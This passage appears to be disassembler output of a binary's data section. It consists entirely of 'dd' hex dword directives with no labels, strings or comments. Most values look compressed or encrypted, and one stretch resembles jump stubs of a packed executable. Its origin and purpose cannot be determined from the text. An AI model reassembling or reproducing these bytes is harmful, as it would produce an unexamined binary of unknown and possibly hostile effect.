		dd 0D20703B5h, 0F2836E29h, 5215AD39h, 83E93041h, 74DB7EE3h
		dd 34886FA7h, 4B22F7CCh, 0B80C4265h, 0F42D6E27h, 0E3C7h
		dd 26D9C900h, 0C1458942h, 4BB4F8B1h, 0C76B7E76h, 0F3844B0Ah
		dd 2D09F63Ah, 2D3CFD91h, 5EEF802Ah, 48E4318Dh, 87782A2Ch
		dd 36CA1EE1h, 0CC377B34h, 59DA13A4h, 2F41C216h,	0B8FC3576h
		dd 64682147h, 3CC5194Ch, 40BC502Ch, 0AE3F2A2Dh,	40BB4FEBh
		dd 0AD3E2A2Dh, 0ECBD591Ch, 61341066h, 0C4BCFFD0h, 0E505FC7Ch
		dd 1A1E57D0h, 0A23E0102h, 3A28A540h, 0D06400C3h, 4B2A2F3Ch
		dd 0E36629BAh, 901B58EBh, 2F4C60F4h, 124ADB2Ah,	316A34D2h
		dd 885919EDh, 17E09274h, 0E0BA6296h, 0AA76C43Fh, 0E9000009h
		dd 6A7E4F23h, 0ED01D298h, 72865713h, 0F408D98Fh, 7A8F6012h
		dd 541EE845h, 0DC946F83h, 620EF70Bh, 0E6827D91h, 0D26EB315h
		dd 3046F13Eh, 0D91363C1h, 6074452Dh, 0B206C99Fh, 84E41B54h
		dd 40F98ACBh, 0F745C6FFh, 32CE0119h, 2A2CF99Eh,	7FC9021h
		dd 0DE6FB069h, 20467F1Bh, 7A0B3410h, 139D35C1h,	0B713041h
		dd 3663066Bh, 0BC566FA7h, 58000000h, 894226D9h,	53AEC145h
		dd 6DC18415h, 0DA1BD494h, 5FAC38A1h, 0D92A2C06h, 0A9C13F26h
		dd 5B1EAFF0h, 0F6272B63h, 0B44DE2DCh, 29BAFBB4h, 0A45B6FF0h
		dd 0EF070BC4h, 0BE8F2BEEh, 0C3341103h, 0CA1E6132h, 0FAFE3739h
		dd 9B1EE1E2h, 41F76BFFh, 6602FD30h, 86F932C3h, 28B379EAh
		dd 985BEC3Ah, 0DB771D15h, 5625E61Eh, 452DD91Dh,	0CCA66074h
		dd 0BA718003h, 80CE49E0h, 8C1h,	67383AD2h, 0EABBAF53h
		dd 6F402AD6h, 0F1C2A65Bh, 784929DDh, 35D1BE63h,	0AB586C3Dh
		dd 25E0F4C5h, 99667A4Bh, 579CFECFh, 46F127BBh, 0F444A230h
		dd 74452DD9h, 40C69F60h, 9AD6D78Bh, 18A94C93h, 0D968B687h
		dd 45894226h, 9DDAEBAh,	0AA2DF0F1h, 2CF97A0Eh, 2B64F52Ah
		dd 783D35B8h, 91C81BB2h, 14AD3972h, 99341054h, 0F40B4F08h
		dd 708FA374h, 16B235F8h, 30412582h, 7371C5FDh, 672DB504h
		dd 0E37713D6h, 6630413Ah, 0A7339CD5h, 0B9F6662Eh, 85F176Bh
		dd 5DA071F7h, 0BB74FC09h, 2FD417Ah, 5C049834h, 0F687AB7Fh
		dd 8720AC65h, 19AB7F5Bh, 88CC85EDh, 0A75CF07Ah,	0E9CD10C9h
		dd 2A8EDD8Dh, 84E41B4Ch, 0A3956DC1h, 7F5B7307h,	0D465F6ABh
		dd 0DFD71A9Bh, 0B34067EDh, 5315EA4Ah, 0BA4589C2h, 0CC69F5AEh
		dd 3AAB7F74h, 0D13F8D85h, 64361536h, 33CCD9Bh, 9F60F76Fh
		dd 1BE4F8C9h, 7890944Dh, 2718B477h, 5AB2BD8Fh, 450E06C9h
		dd 52B650ECh, 6034B5EEh, 0E8844748h, 0ACC9829Bh, 0B844FD8Eh
		dd 0A8DA731Fh, 5F1850B1h, 0CB84E41Bh, 7328BC58h, 12A3A8DAh
		dd 78E2849Ah, 0BBA6C026h, 0E8409118h, 4A10Bh, 0FD910D00h
		dd 602A2CF9h, 0BF78FA0Ch, 21B9457Eh, 842A2C0Ah,	800FF58Ch
		dd 1CE94834h, 0C95A9B54h, 74D40490h, 0C65E2A2Ch, 982A2D6Ch
		dd 20BC7F80h, 3410905Bh, 0B2B84ADEh, 5E27B8F9h,	0E6AC4731h
		dd 36A5F36Eh, 5D000007h, 0DEF2C3AFh, 61754624h,	0E6FACB9Fh
		dd 687C4D1Bh, 0EE03D49Eh, 0C8AA5CC9h, 5020E3F7h, 0D69A6B7Fh
		dd 5A0EF105h, 46E22789h, 3046F2B2h, 0D97FCF2Dh,	85894226h
		dd 0DA96C6Dh, 3416F23Ah, 2848BB0Fh, 669A2E6Fh, 0D10A4B04h
		dd 0F31CED7Eh, 4849611Dh, 99D13185h, 9051ED60h,	0F53A2A14h
		dd 633E8C64h, 0C6DBDB2Ch, 8C1A09CEh, 7BB40184h,	9B5E5F77h
		dd 38FA6DA3h, 81BA9C42h, 0C9378B0Eh, 3FDC68A1h,	0CAE37CCCh
		dd 0DE227639h, 65B21EE5h, 0EC7DF38Fh, 50B9F233h, 7033344Ch
		dd 56D99EDh, 0E7B540CCh, 0AB3CDD88h, 0FD6B94E8h, 0E9F1E92Ch
		dd 9A369C13h, 7689CD06h, 150E5A4Bh, 0FB8CA29Eh,	0D4BA5F32h
		dd 7BC9444Fh, 66Dh, 0BB8CE626h,	3E0F5BA7h, 0C394D62Ah
		dd 451652AFh, 0CC9DD531h, 0E12502B7h, 57ACC091h, 0D1344819h
		dd 45BACE9Fh, 0ABF05223h, 46F37B0Fh, 50A0FE30h,	3D000119h
		dd 101F08A1h, 43FC8D34h, 0AF6800FFh, 1ED79B6Bh,	8B4426DAh
		dd 9A294D63h, 4B5B343Ah, 0F1DC6D60h, 0B6CED99Dh, 0BD56F2B5h
		dd 403A2422h, 5C1553ACh, 5DB98A1Bh, 2A2D16C5h, 2D167B0Fh
		dd 34354D2Ah, 1002D571h, 13673417h, 0EF427BEFh,	8219A55Eh
		dd 0CE3046E1h, 3046E22Fh, 79B37BAh, 82241311h, 8B74B8F1h
		dd 3FB314DDh, 910C195Eh, 5C843h, 3141CB00h, 0B4B64C60h
		dd 3931CFE3h, 0BBAD5468h, 4230D6EAh, 0CAA75C71h, 5165363Ch
		dd 0D9EDBEB2h, 5F73442Ch, 95F7C8A0h, 0F420B450h, 3D9B3046h
		dd 119EDh, 0E7C2BA3Dh, 0BB147620h, 5023AFE8h, 0D93417B5h
		dd 0B44B8F48h, 0F10FE3B4h, 1EE135F8h, 2FE87C18h, 0D2633046h
		dd 5B9F0841h, 0DFF3C4A4h, 1C8F4820h, 0CE200324h, 0C3FC8CA0h
		dd 62B6807Fh, 5FF3CFA1h, 0E930469Dh, 57985119h,	0C46023B4h
		dd 30469E30h, 0D0891AABh, 5E096DD1h, 2D42C4A1h,	9CDD96D2h
		dd 8011520Bh, 0EE186CAFh, 518ACB84h, 0ACC07417h, 1B4676Fh
		dd 19690000h, 0E93D0001h, 5B9C551Dh, 0D82CAF22h, 0E27E4127h
		dd 2A2CF94Eh, 7B0740D1h, 3410238Ah, 2CC05CDFh, 0AF30411Fh
		dd 192E51Eh, 1F22BC48h,	4BB83041h, 1EC357F3h, 0B5463041h
		dd 0DC276B24h, 9FF7D4EDh, 0FE8FF815h, 68000145h, 0EEC46EAFh
		dd 2F93E288h, 15486037h, 702941C1h, 27BF532Fh, 0B9493041h
		dd 14B7F8B1h, 0DB2FF283h, 970A4327h, 24510AFBh,	1DEE7F3Ah
		dd 976FF609h, 4874ADBh,	2D04D468h, 0F894572Ah, 2A2D0464h
		dd 8CC556E7h, 4820DF23h, 8A8BA377h, 35422BC7h, 36C73410h
		dd 3459F17Dh, 16EB3041h, 28B9B14Fh, 94D42B6Fh, 0D99DB3DBh
		dd 9DD93F91h, 0A75331D4h, 44246Fh, 19260000h, 0BA3D0001h
		dd 4E22E337h, 0E4785495h, 672A2CF9h, 0D8119DD6h, 9D34101Fh
		dd 43C6490Ch, 411413A7h, 29059630h, 30411395h, 0EB7D8418h
		dd 2CB8215Ah, 30411394h, 0FD640268h, 6FA7365Ah,	0A04Dh
		dd 26D94F00h, 4FD0449Bh, 50E194C7h, 0A3CA398Dh,	0C37C0D5Dh
		dd 6DE04982h, 5A1E2B75h, 3A739849h, 0A96210F6h,	15CE9A65h
		dd 693A2ED1h, 2CCDC00Dh, 2543BC2Ah, 67688054h, 39CD21A4h
		dd 63F8039h, 1482837Ah,	94720634h, 0B5BB4ADEh, 0F90D6124h
		dd 7294A879h, 50443700h, 0EA65E6AEh, 3BC9Ch, 3D35D700h
		dd 0C0AA586Ch, 4525DBEFh, 0C7A16074h, 4E24E2F6h, 0D6B3687Dh
		dd 5D714230h, 0E5F9CAA6h, 6B7F5020h, 0A103D494h, 0F62CC05Ch
		dd 51AF3046h, 452DD901h, 26DD3174h, 1750914Ah, 6B3C2CD3h
		dd 4226D91Dh, 7CBA4589h, 2CF94CE0h, 0AD3ECF2Ah,	0F9918EDCh
		dd 432A2C79h, 2A2D79ABh, 0A164657Dh, 79EE821Eh,	0E0712A2Dh
		dd 19EB58A8h
		dd 72AB5A91h, 3E9063FFh, 5993417h, 24DD6EFAh, 44070820h
		dd 8768C9C1h, 23A36CFh,	8F23CCE9h, 36C2FB77h, 3A29FDE9h
		dd 996DC144h, 0F569FDD9h, 53E42A3Ah, 0CC33C71Ah, 0D420B9Ch
		dd 3AE0B5D4h, 30B71BFh,	84880000h, 0F9091DEEh, 748CA071h
		dd 0F01125F6h, 7393A778h, 0E4192EFFh, 22F37F87h, 0AA7BF50Eh
		dd 30016F96h, 0B485E31Ch, 0DD710D52h, 603046F6h, 26D9B202h
		dd 0BA458942h, 0F109DDAEh, 0A8912DF0h, 0CD34102Ah, 5FF7833Ch
		dd 33304129h, 25C8A9CDh, 186FA748h, 3Bh, 1191Ah, 5317E93Dh
		dd 0AD20599Ah, 101FD811h, 0FD099D34h, 0EA7BBC75h, 140DA531h
		dd 9CE13041h, 7CB5BB48h, 40E38EE8h, 336FA736h, 0D0h, 8D21BD40h
		dd 10304107h, 0D9C8467Fh, 45894226h, 0F8AB0AC1h, 5900FEAh
		dd 0F448BB74h, 62A35C0Eh, 4E1AE529h, 0BAAE5195h, 0F4AEA6E9h
		dd 7575C12Fh, 1647008h,	0F98AF090h, 8E069A36h, 0F8892A2Dh
		dd 99E633BFh, 8D722A2Ch, 9F60ADBh, 0B7489C5Fh, 7EB7F8B1h
		dd 0F8F91115h, 0BA409935h, 0B4453410h, 0F6F70FE3h, 0A35CB033h
		dd 0D26602C5h, 4D304199h, 0FEF783BCh, 833A2850h, 2BDB2FF2h
		dd 0CF308447h, 6CFD6B96h, 0B83972B3h, 471062A4h, 0E0BA3F08h
		dd 0EE80CE49h, 0A5000001h, 263A0B67h, 0A9BD8EDCh, 2E421357h
		dd 0B0C495D3h, 364B1C56h, 1062A481h, 98D82B3Fh,	1E52B3C7h
		dd 0A2C6394Dh, 8E2A6FD1h, 3046F7FAh, 0D9C71775h, 6074452Dh
		dd 0AAF8C99Fh, 3D000119h, 102068A1h, 0BAD5CD34h, 0D0394922h
		dd 46D72A63h, 0ED69018Dh, 0D73D3041h, 102FD29Fh, 0EA226FA8h
		dd 24000000h, 894226D9h, 0EEB1C145h, 0CC056B9Ah, 68AD763h
		dd 0F10E2A2Ch, 0E063A677h, 2CFDB044h, 619A2B2Ah, 0CD86E21Dh
		dd 0EDB0B1C9h, 48016999h, 0D85BCE07h, 0FE25B955h, 17A82A2Ch
		dd 2DF952DEh, 85C3410h,	7BBC75FBh, 164F1BE7h, 1B6F32C3h
		dd 8BCC85E5h, 0E5FDD152h, 0AB8521E4h, 0AE3A27E9h, 65A1Dh
		dd 902CAF72h, 2A2F79FCh, 34B5EE7Fh, 7C31F9F1h, 0C9B1C64h
		dd 5F0CB6D4h, 92CB6C51h, 49B7B84Eh, 0FA40E921h,	6C45BA13h
		dd 51C912DBh, 7BF6E0BAh, 0F82Dh, 1719B00h, 84E61C30h, 9619FB3h
		dd 8BDD2438h, 1260A6BAh, 9AF72C41h, 2135066Ch, 0A9BD8EE2h
		dd 2F43145Ch, 65C798D0h, 0F8F08420h, 0D6B3046h,	0EBB2AABDh
		dd 0DF730FACh, 5A2A2DDDh, 0FF3791C9h, 9670B4EDh, 74C80BDCh
		dd 60A4DD8Bh, 0B206C99Fh, 5FE0194Fh, 4226D911h,	95D52B7Fh
		dd 0F9629BDCh, 4D1E4AB5h, 9D606179h, 16F22A01h,	689B2F34h
		dd 4377D008h, 6C00E0Ah,	8778BC75h, 3FC10E1h, 15CEA462h
		dd 0FE8A43D4h, 8FF7E40Ah, 48016F94h, 0B26BFD04h, 5DD5936Eh
		dd 76942F47h, 66521FE1h, 1D503BCCh, 556AFE9Ah, 54E59176h
		dd 78EF871Bh, 0FC10E187h, 0AAA26503h, 0EC46A487h, 7EE7200Eh
		dd 619EC73Ah, 95BD7607h, 8F70E77Fh, 0BF408D9h, 0C3A612B6h
		dd 0A93AE500h, 8E857DF0h, 3BAD50Ch, 1269B7F0h, 0A4000000h
		dd 0EE8AB650h, 91762C5Ah, 0FAB344D5h, 0AB0280B9h, 3F33D91Bh
		dd 0ABBD4286h, 1957AEF2h, 89E71C60h, 0F87A8CD0h, 670BFB3Fh
		dd 0D1976AAEh, 3E2CD418h, 0A9C14185h, 8950EAF0h, 4BF57E0h
		dd 1000000h, 0E8835FF8h, 24048704h, 613685Ch, 1C890000h
		dd 4D6E6824h, 4890000h,	68575024h, 182B30F0h, 0D5C7815Fh
		dd 0F75DAA39h, 0F2F781D7h, 898C3360h, 0C3895FF8h, 72FC6858h
		dd 24890000h, 24048324h, 83685804h, 89000066h, 3481241Ch
		dd 5215E724h, 8408F02h,	0E7087081h, 8B025215h, 89572404h
		dd 4C781E7h, 83000000h,	3C8704C7h, 1C8B5C24h, 0E6895624h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 0FB4555E9h, 388D00FFh
		dd 9F9669DCh, 0DFB8FDh,	0C503061Ah, 65BDE0FFh, 1E4E1B20h
		dd 0ACCF09B5h, 16502E9Ah, 31185D92h, 7CFD442Bh,	9C8C1639h
		dd 623F04FEh, 60F62271h, 0A3F85982h, 29084B3Ah,	7E2F3F73h
		dd 4E286439h, 99284E08h, 9A2B4FF6h, 0E8322BF7h,	37B819FBh
		dd 0CCAD15D6h, 0D2D0721h, 0FE5E493Dh, 32A10A6Dh, 0D2AE26BEh
		dd 0AD2E7880h, 2D2E7A96h, 0ADAE709Dh, 5EDD1020h, 10E83422h
		dd 0CE000000h, 107EA68Ch, 5538BCB6h, 3A604BCBh,	0E87A489Ch
		dd 12h,	0A48F515Eh, 35A14728h, 6D0E901Dh, 27042A5Ah, 73B104C9h
		dd 1DB15F59h, 6542C781h, 680000h, 0B4000000h, 0F18A5E8Ch
		dd 0F371C8Bh, 0C381C2B7h, 6F25DBC6h, 8840Fh, 880F0000h
		dd 2, 0C381D38Bh, 45BE814Ah, 5820Fh, 0BBB80000h, 810BA9E2h
		dd 4CBB6CEBh, 6E94Dh, 0A76E0000h, 3EA4D530h, 25BA6653h
		dd 37048FEFh, 0FDC18166h, 39EE8179h, 6076C431h,	537380B9h
		dd 14E97Fh, 3A090000h, 9B86277Bh, 0D945477Ch, 43ACADB1h
		dd 7DF0ACCCh, 816172C2h, 0C43135C6h, 0D9C48076h, 9B80FE81h
		dd 850FFFFFh, 0FFFFFF7Ch, 0C4E28166h, 0C4E97Eh,	0F7020000h
		dd 9CD731C9h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h
		dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h,	9B552075h
		dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh
		dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h,	5C009FA5h
		dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h
		dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh,	0F996BFCFh
		dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh,	0E0CE9DBCh
		dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h
		dd 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 2	dup(0)
		dd 0ECE90000h, 68000015h, 61A058Eh, 0FA7A92E9h,	69468FFh
		dd 88E9061Ah, 68FFFA7Ah, 61A077Fh, 0FA7A7EE9h, 8B668FFh
		dd 74E9061Ah, 68FFFA7Ah, 61A0947h, 0FA7A6AE9h, 0A1E68FFh
		dd 60E9061Ah, 68FFFA7Ah, 61A0AD1h, 0FA7A56E9h, 0B9E68FFh
		dd 4CE9061Ah, 68FFFA7Ah, 61A0C4Dh, 0FA7A42E9h, 0DC768FFh
		dd 38E9061Ah, 68FFFA7Ah, 61A0EE2h, 0FA7A2EE9h, 101668FFh
		dd 24E9061Ah, 68FFFA7Ah, 61A10DAh, 0FA7A1AE9h, 125068FFh
		dd 10E9061Ah, 68FFFA7Ah, 61A1379h, 0FA7A06E9h, 15C168FFh
		dd 0FCE9061Ah, 68FFFA79h, 61A16C6h, 0FA79F2E9h,	239C40FFh
		dd 0DEDFF4D1h, 9823AF8Ch, 4D6C6946h, 4B91EFBh, 713F79B2h
		dd 28055766h, 0E1BE10A9h, 9976C8F7h, 202C7E3Dh,	0EBAC9298h
		dd 0C5C0580Bh, 0BD40175Eh, 2223467Eh, 9145507Fh, 65717E2Ah
		dd 0BA280456h, 0F1F7CE16h, 0D15FF002h, 0C8E32F88h, 1FB7B31Fh
		dd 51E4EAF0h, 0BF57E565h, 0C3A5EB97h, 48580644h, 7885318Ah
		dd 0C4AAB059h, 0D8580644h, 176C18B0h, 0DD4D575h, 83696F37h
		dd 97580645h, 7B4226Fh,	82D4035Bh, 909ACBC0h, 0F7C4F8D9h
		dd 0CAF27DFh, 41700860h, 37DBh,	4A17F200h, 0F9033287h
		dd 16A32E8Bh, 327A126Ah, 0E503692Ch, 0C70F3757h, 313F9FFh
		dd 4A275806h, 6B9A3287h, 2D9BB01h, 0C2E45806h, 0D65A0B80h
		dd 0CEA4F8D9h, 0BB000000h, 9442C412h, 8B237B27h, 0B805D2DFh
		dd 0E4D7FF0Ch, 0DD40C59Ch, 33E39521h, 24D0EDE6h, 2B339DCCh
		dd 0EA775D63h, 0AE8B51F1h, 8EE69227h, 8D2CA9F6h, 3883535Eh
		dd 0EEF4D0E6h, 795D51F1h, 0C313F042h, 0EFE3B0F8h, 27339DCCh
		dd 0C7CD15B9h, 57E5088Ch, 0E4C0123Ah, 0BBF0B76h, 8F5BF35Eh
		dd 7DA9AFF7h, 0D5DFAE6h, 7261A730h, 0AF479F4Bh,	0D502CF17h
		dd 1EB996E8h, 22CEEBEAh, 6AC98B0Bh, 0FC94B1F4h,	880E8664h
		dd 250F3894h, 132817h, 833CA000h, 3E7F5431h, 0F8C30FECh
		dd 0AD0CC9A6h, 64597E5Bh, 0D1DFD912h, 8865B706h, 411E7049h
		dd 0F9D62897h, 808CDEDDh, 0ED0CF2F8h, 2520580Bh, 874A17BEh
		dd 0FF2E8632h, 88DAE3F4h, 3E902BABh, 0F9A51385h, 2E8ABB1h
		dd 0D9B657E5h, 0BF17C3FAh, 53357B27h, 0D8580603h, 411BDFEh
		dd 0CB3DE9D2h, 0FFC62B67h, 0BF8CBDDDh, 0DDDEF414h, 0F441D931h
		dd 42AEDDDEh, 0F8D9D723h, 0D1DBh, 4F17F200h, 0F1E86349h
		dd 204F7751h, 4EFAC115h, 959A6F46h, 1BDFBD4Bh, 12F6E1ECh
		dd 374EFABFh, 0E3CDF514h, 98E57DB6h, 7BD37F40h,	15F137E3h
		dd 8351F23Bh, 0F39F1CB6h, 75616C9Bh, 0FB521A87h, 0C0585B58h
		dd 7645916Eh, 0A050BECAh, 0A8175258h, 6C4357E5h, 7FA2E6C1h
		dd 0D85C8B4Fh, 0D59168B0h, 2B71E58h, 65A7FE56h,	3C4C7B2Bh
		dd 64EF260h, 0FB7FE500h, 0E32B535Dh, 0AAFCC116h, 0D5B30ACDh
		dd 38937DC9h, 22707E68h, 0A6000012h, 5A378936h,	15F24479h
		dd 0CFACFEBDh, 8461B306h, 0DF186A53h, 0BD00D7D9h, 76438E6Bh
		dd 2E914724h, 0E4D7FFDCh, 0F8FE8692h, 580BEE12h, 12C42B26h
		dd 0D9B0F8C5h, 0C36B038Eh, 223261DDh, 5C759145h, 0C159B15Dh
		dd 0C412B66Fh, 0B70E3E38h, 428F0711h, 4A922A8Fh, 0C1967C82h
		dd 82AA51F2h, 0FADCE953h, 40926FC1h, 656B337Bh,	51F2C27Fh
		dd 0D23C6B93h, 58AA11C5h, 0C634E33Ah, 3D0AD21Ah, 0AFF32299h
		dd 57E5DB64h, 15690A32h, 0AF902D32h, 5CA44CBAh,	3CB7498Fh
		dd 0D23CB5D7h, 0A7ADDC74h, 843A6AA1h, 0B0F82055h, 341A20E8h
		dd 4855A53Bh, 3AB49A20h, 0A0C855A5h, 32FF0771h,	176F1BA0h
		dd 0B70DEE8h, 0EC44F0CBh, 39060C54h, 0B5B99BCh,	8CE9BE3h
		dd 0B28961B3h, 6BE7F07Ah, 0CFDA0916h, 0D2D6B407h, 733AF41Fh
		dd 11377B89h, 4B910000h, 8E452274h, 0D200DD2Fh,	1BBA97E9h
		dd 686F4C9Eh, 0EECA0355h, 56A815C2h, 0F615879h,	0C719A632h
		dd 7DCFECEAh, 0FDE3E971h, 11580BEEh, 0C412AF16h, 0D13F4BF7h
		dd 0BB18E52Dh, 0C7CDD302h, 57E51588h, 0ECC4163Eh, 0D403B61Fh
		dd 6CB45CCAh, 0F940F766h, 39E50D5Dh, 1A2211F3h,	58FA1C5Eh
		dd 5FE5D2A9h, 0A9AB09C6h, 9A46775Ch, 0BEA71342h, 40F2C57Bh
		dd 4Dh,	784F1757h, 7A925651h, 0FAE066E4h, 0E51F2E2h, 1E668FE6h
		dd 9EA106BFh, 47F7656Fh, 0D48EF9FFh, 749C57E5h,	96795F2Ch
		dd 6B5AA90h, 0FE96BE58h, 0B5B296ACh, 9B3B5806h,	0E7F1CE20h
		dd 4D242CD8h, 0C73A9267h, 28346342h, 1075h, 44A5137Fh
		dd 29812D8Eh, 0B4814991h, 95ED9922h, 0EAC62266h, 8EB657EBh
		dd 5D5C7946h, 242A59B1h, 0EA3C7F57h, 2B924512h,	0EDF8277Fh
		dd 1A26D2E9h, 0E5BC04ACh, 77742E9Dh, 2083723h, 5EB5BFCh
		dd 75BDE55Eh, 0D7DD2EA8h, 5E25EAF1h, 0FD45DD05h, 7860A630h
		dd 0AB03AF47h, 478F6C7Ch, 4EBCC874h, 0F5545AA2h, 0EB641913h
		dd 0E9CDE5C3h, 0A28C3276h, 100094h, 0AB14C800h,	66577C59h
		dd 209B3714h, 0D5E4F1CEh, 8C31A683h, 0F9B7013Ah, 0B08DDFDEh
		dd 69469821h, 21FE506Fh, 0A8B406B5h, 0F0341A20h, 4D48580Bh
		dd 0E7F7D9E6h, 0F7D51F1h, 5811175Fh, 8057EBEBh,	0EBE61EB3h
		dd 738A36CEh, 6CEAEDFBh, 45740CDAh, 7A5199C1h, 4FCD1FFh
		dd 0D9E4EF01h, 0D8E1F441h, 0D6A3A9h, 0C49169BBh, 6F7AA912h
		dd 9CA85467h, 723A822Eh, 10D2D19Bh, 76C37023h, 0EA2E5D62h
		dd 5DFFE4ABh, 615B3961h, 0C389019h, 0F6F1422h, 83590000h
		dd 0C60DEA3Ch, 0AC8A5F7h, 53825FB1h, 0A0371466h, 2692CB1Dh
		dd 1E704D8Ah, 0D7299041h, 8FE1DEFAh, 459724B2h,	0C5ABB139h
		dd 0D9580BF0h, 0C41277DEh, 983E4BF7h, 0C30EDB23h, 902FA9F6h
		dd 0E8EAF761h, 0B91A27D3h, 82E65804h, 15A62CC0h, 7111257Dh
		dd 0CF2F8C0h, 9E51F1E8h, 0F1E7B298h, 0D89EC651h, 501581B0h
		dd 0AEFEEDEDh, 90Ch, 8D4A17C5h,	116D8430h, 275FD09Eh, 0F6002FC7h
		dd 8A90D888h, 57ECA5D4h, 21983906h, 89B801D4h, 0C895DD05h
		dd 8E65AD0Eh, 7EC43E1Fh, 8F9FCEC6h, 4F9724B2h, 19B8187h
		dd 87AF580Ch, 0C6A8EE58h, 4C580C01h, 22CD73DEh,	26D321Ch
		dd 0CDA16FCh, 6A022A58h, 45848AD2h, 0FB5E0007h,	0F6D1F5D3h
		dd 0C6B0388Fh, 0E98B8h,	13AC3000h, 0CEEFE4C1h, 88339F7Ch
		dd 3D7C5936h, 0F4C90EEBh, 614F69A2h, 18F54776h,	0D1AE00B9h
		dd 8966B807h, 101C6E4Dh, 0F19C8288h, 0B5B0580Bh, 0F7C4124Eh
		dd 23983E4Bh, 0F4B5F77h, 0EDEDD194h, 0FDC58DFEh, 0F1F011F7h
		dd 77FD2551h, 51F1EF91h, 0E1C7CDA5h, 0F551F1EFh, 0A00635CDh
		dd 844h, 0E7F7D9B7h, 0F7D51F1h,	494F175Fh, 51F1E863h, 1A204F77h
		dd 6E4D8552h, 0EB05FB3Fh, 113957EBh, 15FB01C9h,	29580BEBh
		dd 87338C4Ch, 6268972Fh, 287A4195h, 84308B4Bh, 27B10A78h
		dd 0FC94EC98h, 186FAEB4h, 0FD255DFFh, 90E5B11Fh, 0ECFAE438h
		dd 0DE5h, 74C6F9E3h, 2F813C97h,	0E93B8052h, 9EF0C90Ch
		dd 55A716C1h, 0C3149C1Ch, 6CBA8FAh, 548461B3h, 9A3C196Bh
		dd 3BC3CF21h, 0BF24F35h, 1686358h, 4BF7C412h, 7723983Eh
		dd 3B9C6E6Ah, 313EEA82h, 136B17A6h, 0F4FA0FC6h,	51F1E80Eh
		dd 0B662FA22h, 0EFAD169Fh, 0B96BA335h, 5CB43555h, 0D4910A48h
		dd 8AFEED6Dh, 6FD6BCC2h, 0C2EA51F2h, 2E5D5C75h,	77BC8h
		dd 0A513DF00h, 90ABB1F9h, 0FE57EBEAh, 15C18ED6h, 0E4EDFAA6h
		dd 0E2F03DD5h, 0A6D52DD9h, 0B803D3A0h, 6E4D8966h, 0EA9A7CC2h
		dd 0B220580Bh, 0AA427959h, 3D18B62h, 94EB0C30h
		dd 1A595F65h, 4E5DFFD0h, 136A5181h, 8AFA4F2Bh, 73F7262Dh
		dd 46D6D4Bh, 523C3890h,	0D1844h, 932CB000h, 4E6F6441h
		dd 8B31FFCh, 0BDFCD9B6h, 74498E6Bh, 0E1CFE922h,	9875C7F6h
		dd 512E8039h, 9E63887h,	909CEECDh, 0F31C0208h, 3530580Bh
		dd 47C412CEh, 0F1E85B41h, 0AF476F51h, 1CE0F603h, 5E433AE2h
		dd 37A1EE29h, 2C44F088h, 4617A18h, 0FAFEECF5h, 6CCh, 0E7F2D911h
		dd 148251F1h, 261E246Ch, 4E57EBEBh, 0BD556471h,	0F6E0AD75h
		dd 4B8B96C5h, 51512870h, 42FE1051h, 0CAA7B7E6h,	0FB03AF0Ch
		dd 5D63A82Eh, 580C8577h, 1FCB638Bh, 208E98C7h, 7A5B2870h
		dd 0C3B933Fh, 0D0D10006h, 3F675DFFh, 902D8361h,	42503A38h
		dd 0C69h, 0F0427D5Fh, 0ABFDC013h, 65B704CEh, 1A6C4D88h
		dd 0D1239A3Dh, 47902098h, 8A472476h, 0D800DD2Fh, 1EB895E7h
		dd 0B73F4B9Dh, 0BF3CBB1h, 7DE4DF58h, 63494F17h,	7751F1E8h
		dd 0C115204Fh, 95414EFAh, 0E78A7076h, 769E51F1h, 5CC032DEh
		dd 983E0B3Eh, 686A7723h, 0B74FA753h, 0AD597D88h, 0A7F99128h
		dd 0EDF1FC69h, 17502FEh, 2DFA0000h, 0FCE312A9h,	308D4A17h
		dd 0F2FD2C84h, 3B2127E4h, 4F51F1E8h, 0D6E38F27h, 0ECD10600h
		dd 0FE50E840h, 0C40CB422h, 0E5392BBEh, 1CBC9957h, 0F6C30BA3h
		dd 13A62BDDh, 48770F67h, 80ED6DEh, 58061922h, 0C0C60E36h
		dd 580618DAh, 5397C6EEh, 58061971h, 2EDADFF6h, 5F0BB221h
		dd 0C72A680Ah, 27BCDE00h, 0F8D9BD3Eh, 3DC0h, 0A513D700h
		dd 21E9B1F9h, 0B73D7E54h, 51F1E7D1h, 21070DE5h,	3551F1E8h
		dd 246750Dh, 57E5033Fh,	492F350Dh, 5D580603h, 0ABF19D35h
		dd 580602C9h, 0FB90B2D4h, 0F8D9D66Ah, 0AC94h, 0C412AB00h
		dd 993E4BF7h, 6B6B7824h, 0AE310850h, 0A9833B66h, 8088F221h
		dd 0ED9924B3h, 7B5B6695h, 0ECD8EE40h, 7551F1BBh, 8A31A561h
		dd 9A3986DEh, 6C438B23h, 0D9FEC31Dh, 0AABAE9D5h, 68B060CEh
		dd 0E6EFC962h, 7D563357h, 9860A840h, 4B00BCBh, 65727DACh
		dd 93431058h, 0CE9F928h, 0DA14F2CBh, 0F73EA80Fh, 0AEFFF0Dh
		dd 3D90000h, 468D6ABCh,	8A482577h, 0D302DF31h, 20B794E6h
		dd 0A6124B9Dh, 9EF0CD0Ah, 57A910C1h, 0F615E7Ah,	0C517A432h
		dd 452B31B9h, 59580BF5h, 0C512F75Eh, 1CEA6F8h, 0E33BE7D6h
		dd 0D92DA9B4h, 0D628C0FFh, 42C4121Dh, 0E8942C91h, 78C0FBDBh
		dd 0E5912CABh, 10BCFDD8h, 2D320B8h, 84B30BB7h, 4969674h
		dd 13ED0000h, 299244A5h, 458D257Dh, 0E5DEB57Dh,	7995BE65h
		dd 40C1A72Dh, 0ADD551F2h, 1B4A7360h, 0E644F8D7h, 1AC6EE57h
		dd 644F2D4h, 0BFDBFD58h, 0D9954124h, 201BDF8h, 0E8B50000h
		dd 1C24D0E9h, 6513016h,	841C4458h, 0E0D96E55h, 8851F1E7h
